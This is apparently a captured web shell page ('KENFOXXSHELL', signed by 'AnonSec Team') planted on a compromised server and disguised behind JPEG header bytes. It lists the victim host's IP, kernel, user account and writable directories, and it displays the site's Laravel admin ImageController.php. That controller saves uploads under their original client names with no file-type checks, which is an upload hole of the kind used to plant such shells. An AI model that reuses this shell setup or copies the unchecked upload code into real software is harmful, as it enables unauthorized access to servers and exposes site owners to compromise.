JFIFHHC     C  " 5????! ??? Donat Was Here
KENFOXXSHELL
Server IP : 160.25.81.117  /  Your IP : 216.73.216.137
Web Server : Apache/2
System : Linux sv05.hilab.cloud 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : bellizen ( 1045)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/bellizen/public_html/app/Http/Controllers/Admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/bellizen/public_html/app/Http/Controllers/Admin/ImageController.php
<?php 
namespace App\Http\Controllers\Admin;
//use App\Http\Requests;
use App\Http\Requests\ImageRequest;
use App\Http\Controllers\Controller;
use Illuminate\Http\Request;
use App\Images;
use Input, File, DB;
use Validator;
use Auth;
class ImageController extends Controller
{
    public function getList()
    {
        $data = Images::all();
         return view('admin.image.list', compact('data'));
    }
    public function getAdd()
    {
        $data = Images::all();
        return view('admin.image.add', compact('data'));
    }
    public function postAdd(ImageRequest $request)
    {
        $img = $request->file('fImages');
        $path_img='upload/image'; 
        $img_name='';
        if(!empty($img)){
            $img_name=time().'_'.$img->getClientOriginalName();
            $img->move($path_img,$img_name);
        }
        $nhan = new Images;     
        $nhan->name = $request->txtName;


        $nhan->product_id = $request->product_id;


        $nhan->color_id = $request->color_id;


        $nhan->images = $img_name;


        if(!empty($_POST['type'])){


            $kieuloc=$_POST['type'];


            $nhan->type = implode(',',$kieuloc);


        }


        


        $nhan->save();


        


        return redirect()->route('admin.image.index')->with('status','Thêm mới thành công !');





    


    }


    /**


     * Show the form for editing the specified resource.


     * @autho Nguyen Nhan


     * @param  int  $id


     * @return Response


     */


    public function getEdit(Request $request)


    {


        $id= $request->get('id');


       


        $data = Images::find($id);


        $chatlieu=DB::table('materials')->select('id','name')->orderBy('id','DESC')->get();


        if(!empty($data)){


            return view('admin.image.edit',compact('data','id','chatlieu'));


        }else{


            $data = Images::all();


            return redirect()->route('admin.image.index')->with('status','Dữ liệu không có thực');


        }


        


    }


    /**


     * Update the specified resource in storage.


     * @autho Nguyen Nhan


     * @param  int  $id


     * @return Response


     */


    public function update(Request $request)


    {


        $this->validate($request,


            ["txtName" => "required"],


            ["txtName.required" => "Bạn chưa nhập tiêu đề"]


        );


        $id= $request->get('id');


        


       


        


        if($id){


            $nhan = Images::findOrFail($id);


            


            $img = $request->file('fImages');


            $img_current = 'upload/image/'.$request->img_current;


            if(!empty($img)){


                $path_img='upload/image';


                $img_name=time().'_'.$img->getClientOriginalName();


                $img->move($path_img,$img_name);


                $nhan->images = $img_name;


            }


            $nhan->name = $request->txtName;


             $nhan->product_id = $request->product_id;


            $nhan->color_id = $request->color_id;


            if(!empty($_POST['type'])){


            $kieuloc=$_POST['type'];


            $nhan->type = implode(',',$kieuloc);


            }


            $nhan->save();


            return redirect('admin/image/edit?id='.$id)->with('status','Cập nhật thành công !');


            


        }else{


            return redirect('admin/image/')->with('status','Dữ liệu không có thực');


        }


    }








    /**


     * Remove the specified resource from storage.


     * @autho Nguyen Nhan


     * @param  int  $id


     * @return Response


     */


    public function getDelete($id)


    {


       


        $nhan = Images::findOrFail($id);


        $nhan->delete();


     


        return redirect()->route('admin.image.index');


    }


    public function getDeleteList($id){


        $listid = explode(",",$id);


        foreach($listid as $listid_item){


             $nhan = Images::findOrFail($listid_item);


            $nhan->delete();


            File::delete('upload/image/'.$nhan->photo);


        }


        return redirect()->route('admin.image.index');


    }


    


}



Anon7 - 2022
AnonSec Team